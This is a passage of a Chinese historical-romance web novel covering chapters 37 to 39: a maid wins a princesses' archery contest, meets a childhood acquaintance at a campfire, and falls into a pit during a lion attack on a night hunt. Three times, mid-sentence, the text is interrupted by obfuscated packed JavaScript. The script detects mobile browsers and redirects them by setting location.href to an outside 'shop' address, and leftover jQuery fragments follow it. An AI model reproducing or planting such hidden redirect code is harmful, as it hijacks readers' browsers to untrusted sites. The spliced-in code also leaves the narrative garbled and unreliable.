长公主手执鞭稍,指着女郎们道:“都听着,谁也不许放水,不许结队,各自为战!”
第三局开始了,围场四周的旌旗在朔风里猎猎作响,此时场外已经围满了观赛的人。
这只新的褐兔岁月静好般的竖着耳朵蹲在地上,八公主打马追上前来,季晚凝在后面并不动,静静地观察。
八公主一箭袭来,那兔子忽尔灵敏地掉头,一闪而逝。
季晚凝猛夹马腹转向,循着它的足迹,在颠簸中拉满弓弦。
这时九公主的马猝不及防地横切进来,金箭划过,堪堪擦着兔子的耳尖射空了。
小东西惊得乱窜,女郎们纷纷围堵住它,场上沙尘翻滚。
季晚凝游离在人群外围,在混乱的马蹄间紧盯住褐兔的身影,屏息凝神,忽然她右手扣弦,肩胛拢紧,如仙鹤收翼。
下一刻箭镞如鹰隼一般,俯冲进人与马的缝隙里中,直取目标。
离褐兔最近的公主们及贵女们正跃跃欲试,就见一簇迅捷而凌厉的流光掠过,那兔子顷刻间就被一箭贯穿了咽喉。
马群急促而纷乱的蹄声放缓,温山县主勒紧缰绳,疑道:“九殿下,是你射的吗?”
“不是我,我的箭都系着红丝带。”九公主绷着脸道。
“那是谁?八殿下,是你吗?”
众人左顾右盼,回首望去,季晚凝正骑在三四丈开外的马鞍上,优雅而娴熟地收起了弓。
37. 插簪
“不会是她吧?”
“这奴婢怎么这么不知好歹。”
女郎们你一句我一句出了围场。
容嫣简直不敢相信自己的眼睛,左腿一蹦一跳地朝季晚凝奔来。
“晚凝,我没想到你这么厉害!”容嫣的小嘴巴张成了桃子那么大,“你不会是我阿兄偷偷培养的暗卫或者杀手吧?在我们睡觉的时候,你出去大杀四方,第二天回来再装成手无缚鸡之力的婢女。”
季晚凝被她逗得眼角衔起笑,拉住她的胳膊扶她站稳。
温山县主上前道:“容嫣,别仗着长公主偏袒你,就不知道自己姓什么了!”
“我姓贺兰!如何?”容嫣冲她吐了吐舌头,“长公主都说了公平竞争,你是打算违规吗?”
温山县主哼笑一声:“你别高兴得太早了,还有两局才见分晓。”
“晚凝,该上场了,把她们打服为止!”容嫣道。
九公主站在远处睨着这边,面色僵硬。
转眼间,第四局再次被季晚凝拿下,与九公主打成平手,第五局来到了赛点。
围观的人群中有王公贵族、士兵奴仆,他们三五成群开始下注,押谁能拔得头筹。
比赛开始。
围场里,季晚凝扬鞭跃马,驰空逐兔,波斯马在她的驾驭下疾如飞烟,迅捷无比。
眼看她挽弓搭箭,势不可挡,忽地一支系着红丝带的金镞箭倏地袭来,插在了季晚凝马前几寸处,斜钉在地里。
马儿前蹄骤然一软,季晚凝迅速勒紧缰绳,惊马却不听使唤,昂首长嘶着窜了出去。
季晚凝在劲风中失衡,从马背上甩了出去,重重跌落在地上。
九公主抽响手中的长鞭,扬蹄冲着季晚凝踏了过来,四周的马也随之跃过来,马蹄掀起的沙砾扑在季晚凝身上。
季晚凝忍着浑身疼痛,迅速爬起来,躲过她们的围攻,朝着波斯马的背影奋力奔跑,终于抓住缰绳,重新跳上了马鞍。
而数丈开外,九公主已经逐上褐兔,满弦待发。
“九公主要摘得桂冠了!”看客们交头接耳,“我就说得押公主嘛!”
话音未落,金镞箭已离弦,距褐兔只有数寸之遥,众人收声屏住了呼吸。
叮!
另一支箭猝然横飞过来,击中了九公主的金箭,火星四迸。两只箭铿锵落地,兔子得以喘息,赶紧扭头钻进了兔群里。
九公主愣住了,近在迟尺的胜利竟然以这种方式被截胡了,她愤怒地蹙眉回首,季晚凝早已不在原地。
那褐兔似乎在围剿中变聪明了,它发现只要不落单就能活下来。
女郎们的箭矢交错纷飞,始终伤不到它丝毫,有人已经五箭尽失,怏怏地退下场去。
九公主深吸了口气,重新整理烦乱的心绪,很快又撵上了褐兔,它紧跟着一只灰兔,两兔交叉贴地疾驰。
她只余最后一支箭了,不能再失手。
耳畔响起了一阵蹀跶的马蹄声,她斜眼一看,季晚凝已御马上前,与她并肩而行,她的箭囊里也只剩下最后一支箭。
九公主狠甩一鞭,冲着季晚凝挤过去,挡住了她的视线,随后拉进弓弦贴近下颌,箭镞架在扳指上,调整呼吸,跟随褐兔的节奏数着拍子,很快找准规律,势在必得。
季晚凝被她挤出了包围圈,立即拨转马头,从侧路包抄。
她反手从箭囊中抽出仅剩的那一支箭来,一个旋身架臂张弓,箭端与兔子连成了一条直线。
寒风卷起她鬓间的碎发,她后手勾弦,突然之间后撤,箭矢擦着虎口如疾风般射了出去。
场外喧闹的看客们霎时一片寂静。
双兔叠跃,错落起伏,银光直冲灰兔袭去,押注了季晚凝的人急得直跺脚:“完了!要输了!”
只见那冷箭如贯日白虹,迅电行空,竟一箭射穿了灰褐两只兔子!
坐在看台上的长公主倏然站起身,抚掌喊道:“好个一箭双雕!”
羯鼓骤响,人群中爆出一阵剧烈的喝彩。
“赢了!赢了!还是我眼光准吧!”
“竟让一个奴婢赢了去,离谱!”
九公主翻身下马,气得把弓一下摔在地上,渊生跑过来,弯腰把弓捡了起来,还没待他直起身,九公主举起鞭子狠狠抽在了他身上。
渊生挨了鞭,一声不吭,埋头跪伏在地上,背上几道鞭子落下抽破了他的上衣,冷风灌了进来。
容嫣笑得合不拢嘴,等季晚凝一出来就扑到她身上道:“晚凝,刚刚摔得痛不痛?我来帮你牵马!九公主她们也太过分了,分明是故意的……”
鸿胪寺少卿和吏部侍郎家的女郎围了过来:“容嫣,这个赢了头筹的娘子是谁啊?”
容嫣一脸骄傲道:“这是我三兄的婢女!”
“真的?我看怎么不像婢女呢。”女郎看向季晚凝,“你的骑射跟谁学的?改日一起打马球啊。”
这时又有几个贵女围了过来,叽叽喳喳道:“哪里来的美人,我怎么从来没见过?”
“你的胭脂在哪买的?这个颜色可真称你。”
一个宫女钻进人群里,道:“哪个是贺兰家的婢女?长公主请你上看台去。”
“来啦!”
容嫣牵起季晚凝的手,走上看台。
长公主命宫女端来一螺钿漆盘,红色毡布中央放着那只九凤簪。
容嫣两眼直直地盯着,道:“哇,晚凝,谢谢你帮我赢了九凤簪!”
“不是你的。”长公主反驳道,“是你的婢女赢的。”
容嫣嘟了嘟嘴,转念一想,长公主说等她及笄时送她一支簪子,这次比赛最重要的是赢回了脸面,把玉簪给季晚凝也是应该的。
看台两侧的帐幔被风吹起来像漫天白浪,女郎们和看客围在下面驻足观望。
季晚凝绰立在长公主座前,乌云叠鬓,散落的两缕碎发凌风飘逸,人如迎风杨柳,袅袅生姿。
长公主站起身,抬手给她整理下了碎发,随后从漆盘里拾起玉簪,插进了她的云鬓里。
季晚凝屈身谢礼,轻颦一笑,一双熠亮的眸子如点染星辉。
容嫣附在长公主耳边道:“晚凝她是哑巴,我替她给表姑谢恩。”
“无妨。”长公主笑了笑。
容嫣拉着季晚凝走下看台,故意带她绕了一圈展示九凤簪,季晚凝不想这么高调,拉了拉她的袖子,示意她赶紧走。
容嫣在人群里看见了八公主、九公主、温山县主几人,那既不服又忍不住偷瞄季晚凝的神情让她窃喜,这才满意地离去。
女郎们骑马去围场里打猎了,容嫣脚腕还肿着,季晚凝陪她一起回了营地。
在幄帐前看守的东义见两人终于回来了,手里还拎着几只野兔,迎上去接了过来,剥皮生火。
季晚凝坐在胡床上,围着篝火烤兔子,容嫣挨着她殷勤地给她揉捏小臂。
季晚凝往兔肉上洒了些西域的茴香籽,又刷上蜂蜜,转动火上的木叉,兔肉烤得表皮焦脆,呲呲作响,烤肉她还是比较拿手的。
薄暮时分,落晖铺满了雪地,男眷们陆续狩猎归来,贺兰珩朝营帐走过来,手里拿着一支金弩,是他赢的彩头。
北苍跟在后面,拖着个大竹筐,里面装的都是猎物,除了献了头鹿给天子,其余的都自己留下了。
季晚凝此时心情大好,从木架上取了一只烤好的兔子,闪着琥珀色的釉光,站起来远远地朝贺兰珩勾手,好像在用食物引诱他一样。
贺兰珩的嘴角微不可察
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164476|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地弯了弯,走上前去,目光凝在了她的玉簪上,随即眉锋一敛,问道:“你怎么戴着长公主的九凤簪?”
季晚凝一听他这口气愉悦的心情冷了一半,收回拿着木叉的手,坐下来大大地咬了一口兔肉。
贺兰珩见她悠然自得地只顾着肉不理会他,心里有些烦乱,她的笔砚被他收走了,他问也是白问。
九凤簪是长公主的及笄簪,对她来说不仅意味着成年,还意味着可以嫁人了,对她来说很重要,如今却出现在季晚凝头上,着实令人生疑。
容嫣蹙起眉头道:“阿兄,你凶什么!”
贺兰珩看了眼她,她突然变了副面孔站在季晚凝这边怼他了,之前她还对她很排斥。
容嫣扬着小脸道:“你刚才没看见晚凝的飒爽风姿简直太可惜了,她把九公主一众人打得落花流水!长公主亲自给她插的簪,啧啧,太长脸了。”
贺兰珩面色缓了缓,他本担心季晚凝又惹是生非。
“意料之中。”他的语气习若平常。
容嫣揶揄道:“你这叫夸人吗?连两句好听的都不会说,怪不得一大把年纪了还娶不到娘子。”
季晚凝在心里偷偷笑,他这人确实如此,要么什么都不说,要么一张嘴就气人,他好像只夸过一次她字写得好,不提也罢。
贺兰珩不以为意地撩起貂裘坐在胡床上,从木架上拿起一只烤兔,道:“你今日所见,不过是冰山一角罢了。”
“还有什么?你给我讲讲啊。”容嫣好奇道,“阿兄,我原以为你是金屋藏娇,我误会你了,原来你藏了个神仙!”
贺兰珩轻嗤一声,金屋藏凶才是。
火星随晚风在暮色里飞舞,他看向对面的季晚凝,她依旧置若罔闻,看也不看他一眼。
她的脸颊被篝火照得温暖而绮丽,莹目流转,顾盼生辉,唇角亮晶晶的,沾满了烤兔肉的蜜汁。
贺兰珩从怀里抽出一方锦帕,堪堪递过去,就见容嫣也拿出了帕子,给她擦拭嘴角。
他不动声色地收回手,把锦帕揣回怀中。
北苍和东义在后头处理羚羊,等野兔吃完了,就把整只羊抬过来架在火上炙烤,香气四溢。
“谦晔兄好雅兴,烤全羊竟不叫我。”
靳然循着羊肉的香味摸过来了,他还穿着狩猎时的胡服,落拓不羁。
季晚凝添着柴火,抬头看他身边只带了一个长随,不见林夙之,很是失望。
与他并肩而行的还有一个郎君,披着鹤氅,簪乌木簪,姿容清举,英华内敛,腰间垂一禁步,行路间碰出徐缓的清鸣声。
那郎君似乎察觉到了季晚凝的目光,清炯的眸子徐徐移向她。
季晚凝忽然一个激灵,迅速低下头来,扔下手里的柴火,站起身来要回帐子里。
“某听闻今日长公主举行骑射赛,头筹是九凤簪,想必有幸夺魁折桂的便是这位娘子罢。”鹤氅郎君的声音如清泉漱玉,极是好听。
“是啊是啊,”容嫣抢话道,扭头发现季晚凝正往帐里钻,一把拉住了她,“就是她,郎君好眼力,我跟你说……”
容嫣眉飞色舞地讲述起比赛如何精彩刺激,季晚凝如何扭转乾坤、反败为胜。
靳然连连赞叹,道:“好啊,你们帐中里竟出了两个魁首。”他很惊讶原来这个婢女这么有本事,难怪当初贺兰珩不肯让给他。
鹤氅郎君衔笑聆听,目光落在季晚凝身上,道:“原道侯门绮罗擅骑射,不想晚凝娘子以布衣之姿技惊全场,长公主的九凤簪落在如此佳人手中,方不会黯然失色。”
季晚凝垂着双眸,脸上没有一丝喜色。
贺兰珩冷冰冰地扫了眼他,将银貂裘一抖,起身对靳然道:“四郎,你还没为我引见,这位郎君是?”
38. 故人
“怪我失礼,这位是宋相公的独子,监察御史宋聿怀,小字阿筠。”靳然道,“阿筠,这位就是我跟你提过的大理卿贺兰珩。”
宋聿怀轻振袍袖,行云流水般敛衽施礼道:“久闻贺兰卿雅名,今日得见,果然名不虚传。”
贺兰珩语调疏淡地回道:“宋监察过誉了。”
宋熙当年帮靳长恺洗脱了通敌谋逆的嫌疑,靳然对他心怀感激,又与宋聿怀年纪相仿,两人曾是崇文馆的同窗,是以与他要走得比较近。
靳然还在苦苦准备会试的时候,宋聿怀已经入仕为官,家姊又刚刚册立为太子妃,靳然更要结交他了。
东义添了两只胡床,请二人坐下。
“对了,这回太子和太子妃怎么没来?”靳然问道。
宋聿怀道:“圣人出宫狩猎,太子监国留守,太子妃自当在东宫襄助太子。”
靳然点了点头,看来太子仍是老样子,非必要时大门不出二门不迈,不知圣人对他还有几分耐心。
反观晋王广纳贤才,姿态谦卑,总能不经意间笼络人心,与东宫紧闭的大门形成鲜明对比。
靳然冒出几分恨铁不成钢的念头来。
他道:“我听闻太子妃是太后亲自在一众金枝玉叶中选中的,知书识礼,端庄贤淑,颇具大家风范。本以为这回冬狩能一睹风采,可惜无缘相见。”
宋聿怀脸上浮起一味淡漠的笑意:“靳兄谬赞了。家姊蒙太后垂青,实乃宋家的福分。”
不过靳然并没有捕捉到他微妙的神情,他暗揣心事。
自他把林夙之赶出府之后,先是庆幸自己及早发现了她的身份,过了一阵日子又整日烦躁不安。
她那样一个柔软不堪的女郎,怎么在独自活下去,他一直在等她回来求他。
可她一面都没露过,就这么无声无息地消失在了他的视野中。
她在哪,她在做什么,她为什么不来找他?
靳然窥了眼季晚凝,却一句也问不出来。
此时,他发现身边的宋聿怀也在隔着篝火望着季晚凝,片刻后,她悄悄起身撩帘进了账。
靳然清了清嗓子,打破了诡异的沉默:“阿筠,我看你怎么总是瞧她,你不会是……”
“我并无冒犯之意,只不过看她像一位故人。”宋聿怀接过话来,顿了少顷又道,“敢问贺兰卿,晚凝娘子姓什么?”
“我也不知她的姓氏。”贺兰珩敷衍了一句,又带着一丝讽刺的意味道,“她一介布衣,想来与金尊玉贵的宋监察无甚干系。”
容嫣在一旁托着腮吃瓜看戏,发觉季晚凝和阿兄都不太待见他,有些不解。她对宋聿怀印象颇好,端方君子,姿容如玉,比她阿兄会说话得多,肯定有很多女郎喜欢。
宋聿怀双手放在腿上,不气不恼,轻笑道:“许是我认错人了。”
“我看这羊烤得差不多了,”靳然适时地岔开了话题,“来分食吧。”
季晚凝回到帐中烧起暖炉,往里面放了上好的瑞炭,她坐在毡毯上把手放在炉边搓了搓,暖和和的。
过了会儿,她拨开幄帐偷看,那二人还没走。
靳然不认得她,只知道她是贺兰珩的婢女,她尚能应付,可他带来的那个宋聿怀,是她儿时的邻居,她几乎一眼就认出来了。
那时太子妃宋含芷经常来家里同季晚凝和阿姐一起玩投壶、打双陆,弟弟宋聿怀有时也会跟着来,宋熙则总和阿耶一起在书房或茶室谈天说地,她见得很少。
直到有一日,宋熙像往常一样来家里拜访,走时从书房里搜出了通敌赃物,阿耶即刻被捕下狱。
自那之后,季晚凝就再也没见过宋氏姐弟了,十年过去,如今与他们已是云泥之别。
暮染烟岚,日影沉西,雪原浸在银蓝色的天穹之中。
靳然撕下了一只羊腿,正要啃下去,容嫣瞧着他皱了皱眉道:“你就这么吃?一点也不文雅。”
“我阿耶就是这么吃的,军营里不讲究文雅。”靳然道,“咱们正好四个人,四只羊腿。”
东义在一旁给容嫣片着里脊肉,吃得她满嘴是油,一边舔手一边道:“阿兄,你尝尝这羊肉,又香又酥。”
贺兰珩默然不语,从腿侧抽出一柄障刀,在火上烤了一会儿,手法凌厉地削下几片羊腿肉来,装了满满的一银盘,浇上酱料后起身端进了幄帐里。
这时女眷们踏雪狩猎归来。长公主玩得不甚尽兴,最后一波进入围场,猎物已经被射得差不多了,还有很多动物们被驱赶得躲了起来。
她回到营地见天子在烤鹿肉吃,她嫌太柴,从御帐里出来后闻见了烤羊肉的香味,一路摸索到贺兰珩帐前,九公主和八公主也跟着她。
“好啊,你们私自在这儿烤全羊也不去邀本主。”长公主抱臂站在篝火前。
九公主也抱怨道:“就是,我们只猎了些鸡鸭野兔,还不够塞牙缝的。”
“长公主殿下这不是举办骑射赛么,错过了围猎的最佳时机,不过明日还可以早些去,靳某错过了观看比赛,损失更大。”靳然站起来笑道,“快给贵主们看座,靳某还带了一坛葡萄酒来,给各位贵主赔罪。”
九公主听他说起比赛,一时间措颜无地,心情更低落了。
“表姑,我亲自给你切羊肉!”容嫣招呼道,“东义,去把阿兄的那筐猎物给长公主拿过来。”
长公主坐下来挑了挑眉:“你们两个,油嘴滑舌的。容嫣你的脚怎么样了?还疼吗?”
“我没事,已经好多了。”容嫣拿起刀,笨拙地削下了一只羊腿来,再把上面的肉剃下来。
九公主左右瞻望了一番道:“怎么不见三郎?”
贺兰珩进了幄帐走到暖炉边,季晚凝没看他,用铁钩拨着炭,脸上隐约含着抹寥落之意。
他把盘子递给她,坐在她身边,声音低柔:“饱了没?再吃点羊肉。”
季晚凝将薰炉的雕花罩子盖上,从他手里拿过盘子放在矮几上,抱着腿用小刀叉起羊肉送进嘴里。
贺兰珩轻勾唇角,她看起来还在生他的气,只是跟食物没仇。
季晚凝轻轻扫了他一眼,他的目光笼在她身上,黑曜石般的眸子里倒映着她的身影。
他怎么还不走,盯着别人吃饭多不雅,难道他也馋了?
她咬咬唇,下了狠心似的挑起一片羊肉举到他面前。
贺兰珩眸中含着浅笑,道:“不用。”
季晚凝眼波一转,伸出一只食指抵在他下颌上,强行把他的头侧了过来,不让他看她吃东西。
这时贺兰珩听见外面两个公主说话的声音,道:“你在帐中待着,我出去看看。”
季晚凝连连点头,可算走了。
九公主见贺兰珩从幄帐中出来,嘴角噙起了一抹羞赧的笑,上前道:“三郎,你怎么才出来?我想吃羊肋,就等着你给我切呢。”
“微臣的手艺怕是难入殿下法眼。”贺兰珩语气疏离,“北苍,去给殿下切肉。”
宋聿怀提起眼尾看了眼贺兰珩,眸中掠过一抹了然的笑。
这时远处又走来一人,着紫色宝相花襕袍,头戴金玉簪导,龙章凤姿。
九公主嘟着嘴朝他跑过去道:“阿兄,你瞧他,没个为臣的样子。”
晋王笑道:“谦晔,九妹是不是又给你惹麻烦了?寡人代她给你赔个不是。”
“晋王殿下言重了,九公主千金之躯,微臣理应恪守本分,不敢逾矩。”贺兰珩道。
晋王回头对渊生道:“还不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164477|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去伺候九殿下切肉。”
渊生低头应喏,走到了篝火边上接过了北苍的刀。
九公主怫然不悦,但贺兰珩的言辞又挑不出错处,她想用君臣之礼约束他,却又被他以循礼为由驳回来。
每每都是如此,好像撞在一座冰山上一样。不过当初她就是喜欢他这种冷俊骄轩的,好在阿耶已经同意了择他为驸马,等成了亲后有的时间磨他。
晋王落了座,和众人一齐分食羊肉,很快整只羊就被剃得只剩下骨头。
酒足饭饱后,晋王道:“我看皇姑和八姐、九妹今日围猎不甚尽兴,咱们一会儿就去夜猎,可有兴趣?”
长公主有夜猎的爱好,晋王也是投其所好。
果然她玩性大发,欣然同意道:“那太好了,八娘、九娘,你们呢?”
九公主已经有些累了,不太想去,她望了眼贺兰珩,如果他去的话,她就去。
长公主道:“谦晔,你就当陪我吧。”
“恭敬不如从命。”贺兰珩顺其自然道。
“我和晋王各领一队校猎。”长公主道,“晋王你没意见吧?”
“寡人全听皇姑的。”
九公主殷切地望着贺兰珩道:“三郎你跟我们一队吧。”
“我们”指的是八公主、晋王、九公主三个亲生兄弟姐妹。
晋王也拉拢道:“谦晔,可否赏寡人一个脸?”
“对不住二位,”长公主站起身来,“他,我要了。”
“皇姑,你已经那么厉害了,就把三郎让给我们吧。”九公主一边撒娇一边扯着贺兰珩的袖口,“今日的骑射赛我已经输了一回,你来帮帮我嘛。”
贺兰珩漠然地站起身,九公主被迫放开了手。
他暗暗权衡,分队不仅意味着输赢,还意味着人情,甚至事关国本之争。
八公主推波助澜地打趣道:“九妹你怎么这么粘人,你们往后多得是时间相处呢,不过先行培养下默契也好。”
九公主听阿姐说得这么明晃晃的,不由得面红耳赤,垂着头偷瞄了眼贺兰珩。
他的目光落在篝火上,长眉微拢,俊美的侧颜如远山雪岭,近在咫尺却高不可攀。
长公主抱起手臂,睨着他幽幽道:“你自行决定吧,不过,可别忘了贺兰家欠本主一辈子的。”
贺兰珩眉心微跳,抬眸看了眼她面纱下隐约浮现的伤疤,她把话都说得这么绝了,就是不给他留余地了。
除了人情的考量外,长公主在国本一事上立场不明,是最稳妥的选择。
贺兰珩微微点了下首,加入了长公主队。
靳然和宋聿怀都是太子党,也只能选长公主。而容嫣有伤在身参加不了,晋王队还差一人。
九公主不敢跟长公主争,怏怏道:“三郎,你那个婢女呢?叫她来填补我们队的空缺吧。”
贺兰珩毫不犹豫地拒绝了:“她身子不适,已经歇下了。”
“哪里不适?我白日明明见她活蹦乱跳的。”九公主怀疑道。
话音刚落,季晚凝就从帐里走了出来,站到九公主身后,表明了自己的立场。
她因比赛跟九公主结了仇,但公主还是向她抛出了橄榄枝,季晚凝这一日没机会接触到朝中重臣,她想接近郑彦元,加入晋王队是最好不过的机会。
贺兰珩冷冷看着她,眸光若染上了清霜。季晚凝扭过头去,不打算顾及他的态度。
九公主道:“阿兄,这就是我跟你说的比赛赢了我的那个娘子。”
晋王客气道:“有娘子的助力,寡人荣幸之至。”
长公主挑起长而媚的眼角道:“可惜,本主也想要她,被你捷足先登了,那就让给你们好了。既然已分好队,我们这就出发。”
39. 遇险
长公主命人牵来了她的爱马和逐猎用的细犬,晋王肩头则落着一只灰白色的鹘鹰,一双鹰眼在夜里炯炯有神,格外锐利。
天地茫茫,雪色空濛,两队人马踏着银辉进入猎场,扬起一串串雪雾,如烟如织。
季晚凝打马跟在晋王队队尾,她夜视极佳,很快就锁定了一头麂鹿,旋身挽弓瞄准。
贺兰珩手上松松搭着缰绳,在季晚凝后面十丈远的距离,将她的身影收拢在自己的视野中。
一旁的宋聿怀注意到他心不在焉,循着他的目光看了过去。
季晚凝手指轻弹,一箭中的,利落地收起弓,姿态飘逸若舞。她绰约纤长的身影如琼枝玉树立在雪色里,漫天星光尽落在眸底。
宋聿怀的心就如她手中离了箭的弓弦一般,颤动了一下,目光怎么也移不开。
“你们俩怎么掉队了,还想不想赢了?”冲在前方的长公主回头大喊。
贺兰珩敛回目光,拨转马头跟了上去,宋聿怀也喊了驾,催马前行。
两条队伍就此岔开,各自寻找自己的猎物。
九公主第一次夜猎,眼前黑黢黢一片,什么也看不清,她烦躁地冲季晚凝道:“你拿上火把去前面给本主探探路。”
渊生将手里的松脂火把递给季晚凝,季晚凝骑在马上,举着火把在林子里转了一圈,黑暗中一双发着红光的眼睛被照亮了,是一头健硕的鹿。
九公主欣喜地盯住那头鹿,手立刻搭上弓弦,撒箭而出。
季晚凝正要归队,倏地耳畔一阵疾风,只见那支箭直冲着自己飞了过来,她一夹双镫,箭翎擦着她的肩头射进了树干。
“可惜,差点儿就射中了。”九公主耸了下肩,一脸惋惜道。
她说的“射中”指的是鹿还是她?
火把在夜风中噼啪闪了一下,把季晚凝的双眸映得灼亮,直视着九公主。
渊生呵了口气,双手在腿侧摩挲,冻疮好似虫蚁啮咬一样瘙痒难耐,他抬头看了下两个人,道:“殿下,还是仆来执火吧。”
季晚凝把火把还给了渊生,她打算离九公主远些,去追晋王。可九公主显然没有放过她的意思,一直催促她跟紧。
四下没有猎物,渊生往幽暗的林深处探路,逡巡了半晌后,回头道:“殿下,仆看西北方有动静。”
九公主瞥了眼落在后面,正准备悄悄离队的季晚凝,大声命道:“跟上来!”
旋即她一夹马腹,奔着渊生的火把纵马过去,红色的斗篷在风中飘扬,转瞬就融入了黑暗。
寒风卷着细雪扑面而来,季晚凝望了眼远处的晋王和八公主,他们也在专注地搜寻猎物,她拢了拢衣襟,一抖缰绳,跟随九公主的背影缀了上去。
藏在林间的鹿群被急促的马蹄声惊得四散逃窜,九公主左支右绌,扬鞭呵斥:“别跑!”
“殿下,这边。”渊生一边执火一边给她引路。
九公主跟着他指的方向一路下坡俯冲,拨开松树上的冰凌,从树木的缝隙望去,前方一片白花花的反光。
季晚凝轻轻勒住缰绳,再往前就是冰雪覆盖的灞河了,属于围场边缘。她想叫停九公主,可因说不了话,只好跟到近前再拦住她。
那头鹿敏捷地一跃,消失了,九公主放缓速度,到处搜索鹿的踪迹。
火把的光不见了,四周暗如渊薮。
季晚凝张望了下,渊生不知去哪了,许是没跟上来,她拨转马头,示意九公主往回走,九公主却视而不见。
季晚凝不能把她一个人丢在深山老林里,于是想着赶紧找到一头鹿,指点她猎下之后,再带她归队。
她在雪地里穿梭,目光突然被地上一串簇新的足迹吸引了,定睛一看,是动物的脚印,还不是一般的动物,而是猛兽的脚印。
季晚凝心里一惊,跳下马,蹲在地上仔细查看,这足迹类似豹子或大虫,但有所不同,她从没见过这种兽爪。
正疑惑时,深林里传来了咯吱咯吱的声音,她立刻低伏在地上,警觉地凝眸四望。
九公主丝毫没有意识到危险正在悄然逼近,闻声兴奋地打马上前。
季晚凝心跳愈发快,此刻恨极了自己不能张口,她急中生智,在地上团了一个雪球,里面裹了块石头,向九公主扔了过去。
雪球正中九公主的后背,她回头望来,怒目圆睁,正要破口大骂,忽然间,一声怒吼劈天盖地般响彻夜空。
一头金黄鬃毛的巨兽如雪崩般从林中腾空跃起,直扑九公主。
竟是西域的狮子!
这般庞然大物季晚凝还是第一次见到活的,比石像还大上几倍,她的手心被冷汗浸湿了。
九公主高声尖叫,立时从马上滚了下来,那狮子以迅雷不及掩耳之势扑在了她的汗血宝马身上,高头大马瞬间变得如同兔子一样弱小。
巨狮张开血盆大口咬在它的脖子上,宝马哀嘶一声,旋即就断了气,九公主见状连滚带爬地往坡上跑。
季晚凝倏地翻身上马,在草窠中找到了狼狈的九公主,季晚凝朝她伸出马鞭,示意她借力上马。
九公主哆哆嗦嗦地抓住马鞭,却手忙脚乱,如何也上不去,急道:“贱婢!还不快下来扶本主上去!”
季晚凝下马拉起她,九公主踩着马镫坐上马鞍,牵起缰绳,没等季晚凝上来,挥鞭打马就跑。
季晚凝眸光一闪,眼疾手快地抽出了马侧身的弓箭。
正伏在地上啃食夜宵的狮子被她们的动静打断了,它抬起头,金色的瞳孔幽幽发光。
它后腿猛然蹬地,腾跃几下就扑到了九公主近前。
波斯马受惊长嘶,双蹄高高扬起,将九公主狠狠抖落下了马背,径自蹿了出去。
季晚凝趁机张弓搭箭,朝着狮子连射几箭。
巨狮的咆哮声震响雪林,暴怒地掉头朝她扑来,一掌击飞了她手里的弓,锋利的爪子擦着她的脸划了过去。
季晚凝踉跄着往后退,脚下倏地踩空,整个人跌进了一个黑色深渊中。
狮子一边舔舐着嘴边猩红的马血,一边在深坑边沿徐徐转圈,最终不堪箭伤的疼痛,放弃了猎物,一跃消失在了夜色里。
……
地白风寒,极目远眺尽是雪色。
贺兰珩迎风骑在马上,耳尖敏锐地动了动,勒了把缰绳道:“我似乎听见有猛兽的嘶吼声。”
长公主竖起耳朵听了一会儿,道:“我怎么没听见?即便有的话,也离得很远,不可能追过去。”
靳然道:“输赢以重量论,不以数量论,如果能猎一头猛兽,咱们的胜利就十拿九稳了。”
这时不远处的林子里恍恍惚惚出现了一个擎着火把的瘦小身影,看上去有些仓皇。
长公主一眼认出他是九公主的贴身内侍,喊住他道:“你怎么没跟九公主在一起?”
渊生脚步一顿,面色倏地蜡白,扑通一下跪在了地上:“回禀殿下,刚刚九公主进入深林里狩猎,仆蠢笨,跟丢了,随
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164478|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后仆就听见林子里传来了狮吼声,正要来寻人求救。”
贺兰珩眉峰一沉道:“皇家围场里哪来的狮子?”
渊生抬袖抹了把额角的冷汗:“仆也不知,但仆在皇宫禁苑里见过狮子,认得那声音。”
长公主脸色骤变,吩咐道:“你们快去寻九公主!”
话音未落,贺兰珩已经抽响了马鞭,四蹄翻飞,循着刚刚听到狮吼声的方向疾驰而去。
风吹雪扬,他踏进深林中,听见了一阵隐隐约约的幽咽声。
九公主蜷缩在草窠里,浑身好像被抽去了筋骨一样,瘫软如泥,牙齿不停地打颤。
这时,她看见一个颀长的身影策马朝她过来,止不住地大哭起来:“三郎!”
听见这声呼喊的除了贺兰珩之外,还有季晚凝。
季晚凝掉进巨坑后,重重摔在地上,她抱着手臂爬起来,坑里伸手不见五指。
她仰头望向坑洞,只有一方水井大小的夜幕,其他地方则由枯草和厚雪覆盖着。
这是一个猎窖。
她在黢黑中摸寻了良久,坑里除了枯树枝和石块外什么也没有,距离地面至少有两丈,她强忍着四肢的痛楚,尝试攀上坑壁,却一次次滑了下来。
季晚凝只好静候救援。
